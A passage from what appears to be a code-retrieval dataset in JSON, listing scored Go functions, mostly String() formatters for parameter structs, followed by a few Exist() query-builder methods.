prm.Max)\n\t\tl += io.Sf(`\"s\":%v, `, prm.S)\n\t\tl += io.Sf(`\"d\":%q, `, prm.D)\n\t\tl += io.Sf(`\"u\":%q, `, prm.U)\n\t\tl += io.Sf(`\"adj\":%v, `, prm.Adj)\n\t\tl += io.Sf(`\"dep\":%v, `, prm.Dep)\n\t\tl += io.Sf(`\"extra\":%q, `, prm.Extra)\n\t\tl += io.Sf(`\"inact\":%v, `, prm.Inact)\n\t\tl += io.Sf(`\"setdef\":%v`, prm.SetDef)\n\t\tl += io.Sf(\"}\")\n\t}\n\treturn\n}", "title": "" }, { "docid": "3c45dd9ef6dbe8ba0aa1f520f89c506f", "score": "0.7961639", "text": "func (params Params) String() string {\n\treturn fmt.Sprintf(`Oracle Params:\n VotePeriod: %d\n VoteThreshold: %s\n\tRewardBand: %s\n\tRewardDistributionPeriod: %d\n\tWhitelist %s\n\t`, params.VotePeriod, params.VoteThreshold, params.RewardBand,\n\t\tparams.RewardDistributionPeriod, params.Whitelist)\n}", "title": "" }, { "docid": "b560884a756c48de74c88e5daae702b6", "score": "0.78705066", "text": "func (s Parameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2cada81761099ad7ed182cbdc2a209f4", "score": "0.7769228", "text": "func (p Params) String() string {\n\tvar sb strings.Builder\n\tsb.WriteString(\"Params: \\n\")\n\tsb.WriteString(fmt.Sprintf(\"MaxMemoCharacters: %d\\n\", p.MaxMemoCharacters))\n\tsb.WriteString(fmt.Sprintf(\"TxSigLimit: %d\\n\", p.TxSigLimit))\n\tsb.WriteString(fmt.Sprintf(\"FeeMultiplier: %v\\n\", p.FeeMultiplier))\n\treturn sb.String()\n}", "title": "" }, { "docid": "6d733bfb8f44983dcd122f0c4dde9d1f", "score": "0.77308273", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Register Params:\n\t BondDenom: \t\t%s\n\t Unbonding Threashold Time: \t%s\n\t Unbonding Completion Time: \t%s\n\t Max Entries: \t\t\t%d\n`,\n\t\tp.BondDenom, p.UnbondingThreasholdTime, p.UnbondingCompletionTime, p.MaxEntries,\n\t)\n}", "title": "" }, { "docid": "09d7a477ea3c4420cb9c1c90834ac337", "score": "0.7727053", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`MaxValidators: %d; JailAfter: %d; UnjailAfter: %d; LotteryValidators: %d; MinStatus: %d`,\n\t\tp.MaxValidators, p.JailAfter, p.UnjailAfter, p.LotteryValidators, p.MinStatus,\n\t)\n}", "title": "" }, { "docid": "6e687ccc0f9b4cdc37e1bc3919e33d80", "score": "0.76413816", "text": "func (p Params) String() string {\n\tvar sb strings.Builder\n\tsb.WriteString(\"Params: \\n\")\n\tsb.WriteString(fmt.Sprintf(\"CheckpointBufferTime: %s\\n\", p.CheckpointBufferTime))\n\tsb.WriteString(fmt.Sprintf(\"AvgCheckpointLength: %d\\n\", p.AvgCheckpointLength))\n\tsb.WriteString(fmt.Sprintf(\"MaxCheckpointLength: %d\\n\", p.MaxCheckpointLength))\n\tsb.WriteString(fmt.Sprintf(\"ChildBlockInterval: %d\\n\", p.ChildBlockInterval))\n\treturn sb.String()\n}", "title": "" }, { "docid": "2d9661aaed9dac52501904fb2ea773f6", "score": "0.75713223", "text": "func (s HttpParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "33f054c266711a539270e45ccd6b04c5", "score": "0.7554718", "text": "func (p Params) String() string {\n\tvar sb strings.Builder\n\tsb.WriteString(\"Params: \\n\")\n\tsb.WriteString(fmt.Sprintf(\"MainchainTxConfirmations: %d\\n\", p.MainchainTxConfirmations))\n\tsb.WriteString(fmt.Sprintf(\"MaticchainTxConfirmations: %d\\n\", p.MaticchainTxConfirmations))\n\tsb.WriteString(fmt.Sprintf(\"ChainParams: %s\\n\", p.ChainParams.String()))\n\treturn sb.String()\n}", "title": "" }, { "docid": "a07f38a8a8710afc865a548844b8c69e", "score": "0.75118583", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`\nSigners: %v\n\t`, p.Signers)\n}", "title": "" }, { "docid": "798e20c404b7bdea4b17758ee007a767", "score": "0.7456706", "text": "func (p Parameters) String() string {\n\tchannelRules := make([]string, 0, len(p.ChannelRules))\n\n\tfor channel, rule := range p.ChannelRules {\n\t\tchannelRules = append(\n\t\t\tchannelRules, fmt.Sprintf(\"%v: %v\", channel, rule),\n\t\t)\n\t}\n\n\treturn fmt.Sprintf(\"channel rules: %v\",\n\t\tstrings.Join(channelRules, \",\"))\n}", "title": "" }, { "docid": "3ffc25a4edc5ca7652c4750de89130eb", "score": "0.74257314", "text": "func (s Parameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3ffc25a4edc5ca7652c4750de89130eb", "score": "0.74257314", "text": "func (s Parameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3ffc25a4edc5ca7652c4750de89130eb", "score": "0.74257314", "text": "func (s Parameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "3ffc25a4edc5ca7652c4750de89130eb", "score": "0.74257314", "text": "func (s Parameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ad90387c327fa5a4f980dbc95772c42a", "score": "0.74019015", "text": "func (s EcsParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0401611b39a66e199e441825ff238575", "score": "0.73630756", "text": "func String(params ...interface{}) string {\n\treturn spew.Sprintf(\"%v\", params)\n}", "title": "" }, { "docid": "37dc7d7317d1f167ce97467cc553de8c", "score": "0.73558694", "text": "func (s ActionParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "54e9d695b9de96e285f059bf2671eb55", "score": "0.7305123", "text": "func (p Params) String() string {\n\treturn string(ModuleCdc.MustMarshalBinaryLengthPrefixed(&p))\n}", "title": "" }, { "docid": "53a2fbf777a141af8e355b02a946ac05", "score": "0.72884125", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(\"Max validators: %d, quorum: %d percents\", p.MaxValidators, p.Quorum)\n}", "title": "" }, { "docid": "c95833603ec5df1c1e997f1a1940a61f", "score": "0.724456", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Auction Params:\n\tMax Auction Duration: %s\n\tBid Duration: %s`, p.MaxAuctionDuration, p.BidDuration)\n}", "title": "" }, { "docid": "add076f0aebd814c02f3c1a5e9b750fc", "score": "0.7228935", "text": "func (kpars Kparams) String() string {\n\tvar sb strings.Builder\n\t// sort parameters by name\n\tpars := make([]*Kparam, 0, len(kpars))\n\tfor _, kpar := range kpars {\n\t\tpars = append(pars, kpar)\n\t}\n\tsort.Slice(pars, func(i, j int) bool { return pars[i].Name < pars[j].Name })\n\tfor i, kpar := range pars {\n\t\tswitch ParamNameCaseStyle {\n\t\tcase SnakeCase:\n\t\t\tsb.WriteString(kpar.Name + ParamKVDelimiter + kpar.String())\n\t\tcase DotCase:\n\t\t\tsb.WriteString(strings.Replace(kpar.Name, \"_\", \".\", -1) + ParamKVDelimiter + kpar.String())\n\t\tcase PascalCase:\n\t\t\tsb.WriteString(strings.Replace(caser.String(strings.Replace(kpar.Name, \"_\", \" \", -1)), \" \", \"\", -1) + ParamKVDelimiter + kpar.String())\n\t\tcase CamelCase:\n\t\t}\n\t\tif i != len(pars)-1 {\n\t\t\tsb.WriteString(\", \")\n\t\t}\n\t}\n\treturn sb.String()\n}", "title": "" }, { "docid": "8e439b8e05fdbd5d5c0f453c4528a12c", "score": "0.7215174", "text": "func (s CreateConnectionOAuthRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b386342191ee28b762be4f293823194e", "score": "0.71598876", "text": "func (s SqsParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ba15aedba8d46a34da926cd3ad802de2", "score": "0.71489346", "text": "func (s RunCommandParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5edc5a19c1d4c6fde52c93f00b19c822", "score": "0.70975465", "text": "func (s ParameterConstraints) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "dc87c5ab718efe32773c6be04c0d8325", "score": "0.70953417", "text": "func (s EventParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "00b2ed6d5cd754981bb90e5e460082d5", "score": "0.7044746", "text": "func (s BatchParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e94ef42f6b95e510369aaa534cc4360d", "score": "0.70308554", "text": "func (s FederationParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2af61a7856d8df09d6df00ef8384d09d", "score": "0.70236343", "text": "func (s SageMakerPipelineParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "21299a0b60c6b52a13f8038a2bb2313c", "score": "0.7004566", "text": "func (p *TerminalParams) String() string {\n\treturn fmt.Sprintf(\"TerminalParams(w=%v, h=%v)\", p.W, p.H)\n}", "title": "" }, { "docid": "25052c2a3739fad4a0acb83be2d06a25", "score": "0.7001569", "text": "func (params *headerParams) String() string {\n\treturn params.ToString('&')\n}", "title": "" }, { "docid": "f4066f719f14dc262fb8a6cc4a389b99", "score": "0.69902194", "text": "func (s Constraints) String() string {\n\tres := make([]string, 2)\n\tres[0] = \"I: \" + reform.Inspect(s.I, true)\n\tres[1] = \"ID: \" + reform.Inspect(s.ID, true)\n\treturn strings.Join(res, \", \")\n}", "title": "" }, { "docid": "72dcb3140c8c3c02ca30379ef8ba1d1f", "score": "0.6973219", "text": "func (s JobParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "430e826a9344bc963a385b3872514778", "score": "0.6960536", "text": "func (p *TransportParameters) String() string {\n\treturn fmt.Sprintf(\"&handshake.TransportParameters{StreamFlowControlWindow: %#x, ConnectionFlowControlWindow: %#x, MaxBidiStreams: %d, MaxUniStreams: %d, IdleTimeout: %s}\", p.StreamFlowControlWindow, p.ConnectionFlowControlWindow, p.MaxBidiStreams, p.MaxUniStreams, p.IdleTimeout)\n}", "title": "" }, { "docid": "029bfefdfb304de8342fe66c234db60f", "score": "0.69349194", "text": "func (p *ReleaseParams) String() string {\n\treturn fmt.Sprintf(\"RELEASE-%s-%d\", p.Project, *p.Definition)\n}", "title": "" }, { "docid": "d79bebf1ab3120717953a5929b1c234e", "score": "0.6919098", "text": "func (s TunedHPOParams) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "c16bb0a4459caea222cd846704541c6c", "score": "0.69167966", "text": "func (s ConnectionHttpParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e4ddf05927dbfb0e7c002b4ced826122", "score": "0.6889062", "text": "func (s UpdateConnectionOAuthRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "22b2a07f7f4afb1c31bdad8f9ce29a79", "score": "0.6880692", "text": "func (p *Parameter) String() string {\n\t// Hack to get the reader to not throw errors in creating string representative of parameters\n\tcode := jen.Func().Id(\"_\").Params(p.Code()).Block()\n\ts := code.GoString()\n\ts = strings.TrimPrefix(s, \"func _(\")\n\ts = strings.TrimSuffix(s, \") {}\")\n\t// -----\n\treturn s\n}", "title": "" }, { "docid": "967f0b3a7db0713ccb0fca48898b165a", "score": "0.6852005", "text": "func (s ConnectionOAuthResponseParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2123257231b0e13ff71f34681488ae9b", "score": "0.6846187", "text": "func (s CreateConnectionAuthRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e02abd781c4a9da866c52985627a778b", "score": "0.68390745", "text": "func (p *Params) String() string {\n\treturn fmt.Sprintf(\"[%v, %v]\", p.password, p.expirationDuration)\n}", "title": "" }, { "docid": "e51c490882153d3422b5e7a2b4de3cc5", "score": "0.68306994", "text": "func (p Params) String() string {\n\tout, _ := yaml.Marshal(p)\n\treturn string(out)\n}", "title": "" }, { "docid": "e51c490882153d3422b5e7a2b4de3cc5", "score": "0.68306994", "text": "func (p Params) String() string {\n\tout, _ := yaml.Marshal(p)\n\treturn string(out)\n}", "title": "" }, { "docid": "e51c490882153d3422b5e7a2b4de3cc5", "score": "0.68306994", "text": "func (p Params) String() string {\n\tout, _ := yaml.Marshal(p)\n\treturn string(out)\n}", "title": "" }, { "docid": "e51c490882153d3422b5e7a2b4de3cc5", "score": "0.68306994", "text": "func (p Params) String() string {\n\tout, _ := yaml.Marshal(p)\n\treturn string(out)\n}", "title": "" }, { "docid": "e51c490882153d3422b5e7a2b4de3cc5", "score": "0.68306994", "text": "func (p Params) String() string {\n\tout, _ := yaml.Marshal(p)\n\treturn string(out)\n}", "title": "" }, { "docid": "e51c490882153d3422b5e7a2b4de3cc5", "score": "0.68306994", "text": "func (p Params) String() string {\n\tout, _ := yaml.Marshal(p)\n\treturn string(out)\n}", "title": "" }, { "docid": "e51c490882153d3422b5e7a2b4de3cc5", "score": "0.68306994", "text": "func (p Params) String() string {\n\tout, _ := yaml.Marshal(p)\n\treturn string(out)\n}", "title": "" }, { "docid": "b3c15bad0525a22407d3ad059f807ab7", "score": "0.6816881", "text": "func (s ConnectionOAuthClientResponseParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a02f2a8318b71df96da7210c71d5ff94", "score": "0.6793074", "text": "func (s RedshiftDataParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7c65eca09d85842fdb9b6e007482c1cd", "score": "0.6776493", "text": "func (p *ChecksParams) String() string {\n\treturn fmt.Sprintf(\"CHECKS-%s-%s-%s\", p.Owner, p.Repository, p.Ref)\n}", "title": "" }, { "docid": "374221fa81ad7ff4a4844dab7a1d73b6", "score": "0.67755973", "text": "func (s KinesisParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6321e4b6a8ec079e073e44de9d33877a", "score": "0.6775427", "text": "func (p ParamType) String() string {\n\tswitch p {\n\tcase Unchecked:\n\t\treturn \"param\"\n\tcase UncheckedOneOrMore:\n\t\treturn \"param...\"\n\tcase S3Obj:\n\t\treturn \"s3://bucket[/object]\"\n\tcase S3SimpleObj:\n\t\treturn \"s3://bucket/object\"\n\tcase S3Dir:\n\t\treturn \"s3://bucket[/object]/\"\n\tcase S3ObjOrDir:\n\t\treturn \"s3://bucket[/object][/]\"\n\tcase S3WildObj:\n\t\treturn \"s3://bucket/wild/*/obj*\"\n\tcase FileObj:\n\t\treturn \"filename\"\n\tcase Dir:\n\t\treturn \"directory\"\n\tcase FileOrDir:\n\t\treturn \"file-or-directory\"\n\tcase OptionalDir:\n\t\treturn \"[directory]\"\n\tcase OptionalFileOrDir:\n\t\treturn \"[file-or-directory]\"\n\tcase Glob:\n\t\treturn \"glob-pattern*\"\n\tdefault:\n\t\treturn \"unknown\"\n\t}\n}", "title": "" }, { "docid": "68283105bce175dba23b28a15f6b1445", "score": "0.6759597", "text": "func (s CreateConnectionOAuthClientRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "85892aafe59c0800a981c55fbc7a30c8", "score": "0.67586315", "text": "func (s CreateConnectionBasicAuthRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6a6675d87043fad231ce8e6eefeba65d", "score": "0.6756859", "text": "func (s GlacierJobParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1bdae118fefb06fd9121bb91afa27f0c", "score": "0.67419374", "text": "func (s ConnectionHeaderParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f4f4ede478f981b3cfcc4b05c0adc5fa", "score": "0.6738375", "text": "func (s CacheNodeTypeSpecificParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "068744b20aa9a20609711fb8bd7a28cb", "score": "0.67242545", "text": "func (s CreateConnectionApiKeyAuthRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e7fb7f8176e3bf5ec99215bf7a366cc0", "score": "0.6712765", "text": "func (s ParameterDeclaration) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "fc3f1155f252d88806b0bd68f6d5defe", "score": "0.6710042", "text": "func (p *Param) String() string {\n\tswitch value := p.Value.(type) {\n\tcase string:\n\t\treturn value\n\tcase []string:\n\t\treturn strings.Join(value, \"\")\n\tcase nil, interface{}, []interface{}: // TODO: Figure out parsing to string\n\t\treturn \"\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"%v\", value)\n\t}\n}", "title": "" }, { "docid": "e81e2e645673dc1c3e1a3d092d55dc1a", "score": "0.6702052", "text": "func (s ConnectionApiKeyAuthResponseParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "07bbd33816e21fe6f332d8862d32426f", "score": "0.66949534", "text": "func (s ConnectionAuthResponseParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "0c7ad72c2f5abf275d2a0886e28199a3", "score": "0.6686209", "text": "func (p *Param) String() string {\n\treturn p.Name\n}", "title": "" }, { "docid": "cb3e3d3dd111a4cf8fe2dc4da088f686", "score": "0.6683356", "text": "func (s SageMakerPipelineParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7cfded50333ee88eda367e3f5a23dc09", "score": "0.66779685", "text": "func (i *SidekickImageParams) String() string {\n\treturn fmt.Sprintf(\"%s\", *i)\n}", "title": "" }, { "docid": "7525d5bec1dd6b1ae82d1680bdb58598", "score": "0.66638696", "text": "func (s SelectParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7525d5bec1dd6b1ae82d1680bdb58598", "score": "0.66638696", "text": "func (s SelectParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a14c80542185d31e44268de29e31f4c4", "score": "0.66597706", "text": "func (v *WorkflowParams) String() string {\n\tif v == nil {\n\t\treturn \"<nil>\"\n\t}\n\n\tvar fields [9]string\n\ti := 0\n\tif v.Domain != nil {\n\t\tfields[i] = fmt.Sprintf(\"Domain: %v\", *(v.Domain))\n\t\ti++\n\t}\n\tif v.TaskList != nil {\n\t\tfields[i] = fmt.Sprintf(\"TaskList: %v\", *(v.TaskList))\n\t\ti++\n\t}\n\tif v.WorkflowQuery != nil {\n\t\tfields[i] = fmt.Sprintf(\"WorkflowQuery: %v\", *(v.WorkflowQuery))\n\t\ti++\n\t}\n\tif v.NextPageToken != nil {\n\t\tfields[i] = fmt.Sprintf(\"NextPageToken: %v\", v.NextPageToken)\n\t\ti++\n\t}\n\tif v.SamplingRate != nil {\n\t\tfields[i] = fmt.Sprintf(\"SamplingRate: %v\", *(v.SamplingRate))\n\t\ti++\n\t}\n\tif v.ShadowMode != nil {\n\t\tfields[i] = fmt.Sprintf(\"ShadowMode: %v\", *(v.ShadowMode))\n\t\ti++\n\t}\n\tif v.ExitCondition != nil {\n\t\tfields[i] = fmt.Sprintf(\"ExitCondition: %v\", v.ExitCondition)\n\t\ti++\n\t}\n\tif v.Concurrency != nil {\n\t\tfields[i] = fmt.Sprintf(\"Concurrency: %v\", *(v.Concurrency))\n\t\ti++\n\t}\n\tif v.LastRunResult != nil {\n\t\tfields[i] = fmt.Sprintf(\"LastRunResult: %v\", v.LastRunResult)\n\t\ti++\n\t}\n\n\treturn fmt.Sprintf(\"WorkflowParams{%v}\", strings.Join(fields[:i], \", \"))\n}", "title": "" }, { "docid": "ad064b89c683e8c10416461fa7825d0b", "score": "0.6649948", "text": "func (s SuperuserParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "76a26587272e10c984e4a8f9664f43c9", "score": "0.662995", "text": "func (s ConnectionQueryStringParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "fb1b65da809c7017fd86e210c98af97b", "score": "0.6628564", "text": "func (s ConnectionBodyParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b9d97878d151e4ecce328096f2855449", "score": "0.6620262", "text": "func (s TemplateParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "d4f4feb57ed4078a049e446401200967", "score": "0.6617088", "text": "func (p parameter) String() string {\n\treturn p.Key().String()\n}", "title": "" }, { "docid": "6d3360f4e72b7fae79ac9c76212a4195", "score": "0.66037154", "text": "func (p Params) String() string {\n\treturn js.Value(p).Call(\"toString\").String()\n}", "title": "" }, { "docid": "5d328643142c658516e57ebe6c16027b", "score": "0.6601085", "text": "func (s ScalingParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ae9e90e6f257976eed312960f9400457", "score": "0.66003215", "text": "func (g ParameterType) String() string {\n\treturn g.Name()\n}", "title": "" }, { "docid": "433806392999df8d4244dc1a58cb6788", "score": "0.65982985", "text": "func (v *ReplayWorkflowActivityParams) String() string {\n\tif v == nil {\n\t\treturn \"<nil>\"\n\t}\n\n\tvar fields [2]string\n\ti := 0\n\tif v.Domain != nil {\n\t\tfields[i] = fmt.Sprintf(\"Domain: %v\", *(v.Domain))\n\t\ti++\n\t}\n\tif v.Executions != nil {\n\t\tfields[i] = fmt.Sprintf(\"Executions: %v\", v.Executions)\n\t\ti++\n\t}\n\n\treturn fmt.Sprintf(\"ReplayWorkflowActivityParams{%v}\", strings.Join(fields[:i], \", \"))\n}", "title": "" }, { "docid": "b04a40ac5a2ad5908ed2b97f0161e692", "score": "0.6591428", "text": "func (s UpdateConnectionAuthRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6b411907de20e34b3cda9ce5687f1da6", "score": "0.6590948", "text": "func String() string {\n\treturn fmt.Sprintf(\"build=%s, commit=%s, release=%s, go=%s, user=%s\",\n\t\tbuildTime, commit, release, goVersion, user)\n}", "title": "" }, { "docid": "31e2219477a4d91867b4d703ecfa1d98", "score": "0.6570856", "text": "func (p *BuildParams) String() string {\n\treturn fmt.Sprintf(\"BUILD-%s-%s\", p.Job, p.Branch)\n}", "title": "" }, { "docid": "252b578b02445495faf7c8a1d0cc0396", "score": "0.6567037", "text": "func (s HITLayoutParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a8e2b09a16c77f32418306f68fb15c6c", "score": "0.65663886", "text": "func (args *CallArgs) String() string {\n\t// Todo: There is currently a bug with hexutil.Big when the value its nil, printing would trigger an exception\n\treturn fmt.Sprintf(\"CallArgs{From:%v, To:%v, Gas:%v,\"+\n\t\t\" Data:%v, AccessList:%v}\",\n\t\targs.From,\n\t\targs.To,\n\t\targs.Gas,\n\t\targs.Data,\n\t\targs.AccessList)\n}", "title": "" }, { "docid": "781dd315240d820d28bf5210da3fc5a9", "score": "0.6548331", "text": "func (method Method) ParamsStr() string {\n\t// \"a0, a1, ...\"\n\tif len(method.Params()) == 0 {\n\t\treturn \"\"\n\t}\n\tsize := len(method.Params())\n\tarr := make([]string, size)\n\tfor i, v := range method.Params() {\n\t\tarr[i] = v.Name()\n\t}\n\tif method.IsEllipsis() {\n\t\tarr[size-1] = fmt.Sprintf(\"%s...\", method.Params()[size-1].Name())\n\t}\n\treturn strings.Join(arr, \", \")\n}", "title": "" }, { "docid": "4b058a12869c6042027566c7f5b05b9d", "score": "0.65248114", "text": "func (s ConnectionBasicAuthResponseParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "85ce395912b475acdf3ad6330161a646", "score": "0.65151745", "text": "func (s ParameterNameValue) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "09eae8aeb21950fcdf96f894f015edae", "score": "0.65123147", "text": "func (s UpdateConnectionBasicAuthRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "105fac700204ede2246a8a98a8d47b43", "score": "0.6493573", "text": "func (s PolicyParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7f46d8874680ba95e802b3dcbf6ee8c3", "score": "0.6467382", "text": "func (s UpdateConnectionApiKeyAuthRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "01dc7500f635d072723eb3379e077719", "score": "0.6456437", "text": "func (p *PlanCacheParamList) String() string {\n\tif p == nil || len(p.paramValues) == 0 ||\n\t\tp.forNonPrepCache { // hide non-prep parameter values by default\n\t\treturn \"\"\n\t}\n\treturn \" [arguments: \" + types.DatumsToStrNoErr(p.paramValues) + \"]\"\n}", "title": "" }, { "docid": "b2cc01be903b3b074c3484682dfaf105", "score": "0.6452474", "text": "func (t *Transport) String() string {\n\n\tvar args []string\n\tfor key, values := range t.Parameters {\n\t\targs = append(args, fmt.Sprintf(\"%s=%s\", key, values[0]))\n\t}\n\n\treturn fmt.Sprintf(\"%s %s:%d %s %s\",\n\t\tt.Type, t.Address.String(), t.Port, t.Fingerprint, strings.Join(args, \",\"))\n}", "title": "" }, { "docid": "ccd602803d08720f94ad405de38eca52", "score": "0.6441362", "text": "func (s UpdateConnectionOAuthClientRequestParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "389eae9e9df9948c4919c9fd26166858", "score": "0.6433756", "text": "func (s GeoMatchParams) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e9c931484092c2a1a86d88e97ccfddfc", "score": "0.6394088", "text": "func (s HyperParameterSpecification) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e9c931484092c2a1a86d88e97ccfddfc", "score": "0.6394088", "text": "func (s HyperParameterSpecification) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f5f07891825e96c1ce8df4d3823ccadb", "score": "0.6350115", "text": "func (vp VotingParams) String() string {\n\tout, _ := yaml.Marshal(vp)\n\treturn string(out)\n}", "title": "" } ]
e1a23faadbaeed6773613866fcc61e70
Exist returns true if the query has elements in the graph.
[ { "docid": "b2d2eca72a20411eec52792f1018a4ca", "score": "0.6843014", "text": "func (pq *PersonnelQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := pq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn pq.sqlExist(ctx)\n}", "title": "" } ]
[ { "docid": "17adbe7bf9c2e592083f693e14e86d05", "score": "0.72491425", "text": "func (knq *K8sNodeQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := knq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn knq.sqlExist(ctx)\n}", "title": "" }, { "docid": "64bdad327cb874d0f939876d68493dca", "score": "0.6965464", "text": "func (o *querySet) Exist() bool {\n\treturn o.ExistWithCtx(context.Background())\n}", "title": "" }, { "docid": "12ce41d33881b5b68f06efacae4d2c96", "score": "0.6870488", "text": "func (qedq *QccEnterpriseDataQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := qedq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn qedq.sqlExist(ctx)\n}", "title": "" }, { "docid": "dc0b1b8778a8d9d118f5849cb56174f9", "score": "0.68261904", "text": "func (ggq *GithubGistQuery) Exist(ctx context.Context) (bool, error) {\n\tctx = setContextOp(ctx, ggq.ctx, \"Exist\")\n\tswitch _, err := ggq.FirstID(ctx); {\n\tcase IsNotFound(err):\n\t\treturn false, nil\n\tcase err != nil:\n\t\treturn false, fmt.Errorf(\"ent: check existence: %w\", err)\n\tdefault:\n\t\treturn true, nil\n\t}\n}", "title": "" }, { "docid": "9e036b7b90b97ac0ee66fd72dfddf8ed", "score": "0.6819021", "text": "func (d *database) GraphExists(ctx context.Context, name string) (bool, error) {\n\tescapedName := pathEscape(name)\n\treq, err := d.conn.NewRequest(\"GET\", path.Join(d.relPath(), \"_api/gharial\", escapedName))\n\tif err != nil {\n\t\treturn false, WithStack(err)\n\t}\n\tresp, err := d.conn.Do(ctx, req)\n\tif err != nil {\n\t\treturn false, WithStack(err)\n\t}\n\tif err := resp.CheckStatus(200); err == nil {\n\t\treturn true, nil\n\t} else if IsNotFound(err) {\n\t\treturn false, nil\n\t} else {\n\t\treturn false, WithStack(err)\n\t}\n}", "title": "" }, { "docid": "9e036b7b90b97ac0ee66fd72dfddf8ed", "score": "0.6819021", "text": "func (d *database) GraphExists(ctx context.Context, name string) (bool, error) {\n\tescapedName := pathEscape(name)\n\treq, err := d.conn.NewRequest(\"GET\", path.Join(d.relPath(), \"_api/gharial\", escapedName))\n\tif err != nil {\n\t\treturn false, WithStack(err)\n\t}\n\tresp, err := d.conn.Do(ctx, req)\n\tif err != nil {\n\t\treturn false, WithStack(err)\n\t}\n\tif err := resp.CheckStatus(200); err == nil {\n\t\treturn true, nil\n\t} else if IsNotFound(err) {\n\t\treturn false, nil\n\t} else {\n\t\treturn false, WithStack(err)\n\t}\n}", "title": "" }, { "docid": "a677cd208bbfa2541e3b20c6619f87b7", "score": "0.67966205", "text": "func (gsq *GameServerQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := gsq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn gsq.sqlExist(ctx)\n}", "title": "" }, { "docid": "a1d44fd70d20fd0d9b5122eb0c6accc1", "score": "0.67701703", "text": "func (gq *GreeterQuery) Exist(ctx context.Context) (bool, error) {\n\tif err := gq.prepareQuery(ctx); err != nil {\n\t\treturn false, err\n\t}\n\treturn gq.sqlExist(ctx)\n}", "title": "" }, { "docid": 